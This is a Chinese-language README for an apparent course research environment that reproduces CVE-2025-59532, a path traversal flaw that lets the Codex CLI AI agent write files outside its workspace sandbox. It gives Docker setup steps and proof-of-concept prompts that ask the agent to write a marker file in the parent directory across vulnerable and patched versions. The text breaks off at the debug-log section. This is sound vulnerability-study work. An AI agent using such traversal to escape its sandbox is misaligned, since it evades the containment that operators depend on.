一个基于 Docker 的研究环境,用于分析 CVE-2025-59532(OpenAI Codex CLI 中的路径遍历漏洞),该漏洞允许在预期工作区沙箱之外写入任意文件。 属于卡内基梅隆大学 2025 年秋季课程:18-739 黑客与进攻安全
首先,克隆此仓库:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
或者使用 SSH:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 是 OpenAI Codex CLI 工具中的一个路径遍历漏洞,攻击者可以绕过沙箱限制,在预期工作区目录之外写入文件。
../exploit.txt),即使在启用 --sandbox workspace-write 的情况下也能逃逸工作区沙箱。该漏洞利用工作区沙箱实现中的路径验证不足。当启用 workspace-write 沙箱模式时,Codex 应将文件操作限制在指定的工作区目录内。然而,在 v0.38.0 中,路径验证未能正确处理相对路径遍历序列(../),攻击者可以通过指示 AI 使用父目录引用来逃逸沙箱写入文件。
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
此 Docker 环境包含三个版本的 Codex CLI:
进入容器后,只需在交互模式下运行 codex 并粘贴 API 密钥即可配置:
codex
API 密钥将存储在 ~/.config/codex/auth.json 中,并会被所有 Codex 版本(codex38、codex39、codex50)使用。
codex38 --version # 应显示 v0.38.0(易受攻击)
codex39 --version # 应显示 v0.39.0(已修补)
codex50 --version # 应显示 v0.50.0(最新)
注意:工作区位于 /workspace/child。该漏洞允许写入 /workspace(父目录)。
测试易受攻击版本(v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "在父目录中创建一个名为 'exploit_proof1.txt' 的文件,内容为 'CVE-2025-59532 POC'"
测试已修补版本(v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "在父目录中创建一个名为 'exploit_proof2.txt' 的文件,内容为 'CVE-2025-59532 POC'"
测试最新版本(v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "在父目录中创建一个名为 'exploit_proof3.txt' 的文件,内容为 'CVE-2025-59532 POC'"
验证利用结果:
# 检查文件是否在沙箱之外创建(在 /workspace,而不是 /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # 如果 v0.38.0 易受攻击,则应存在
cat /workspace/exploit_proof2.txt # 如果 v0.39.0 已修补,则不应存在
cat /workspace/exploit_proof3.txt # 如果 v0.50.0 安全,则不应存在
# 检查当前工作区(应为空或仅包含测试文件)
pwd # 应显示 /workspace/child
ls -la /workspace/child/
查看 Codex 执行的详细调试日志:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "在父目录中创建一个名为 'exploit_proof.txt' 的文件,内容为 'CVE-2025-59532 POC'"
调试日志将显示: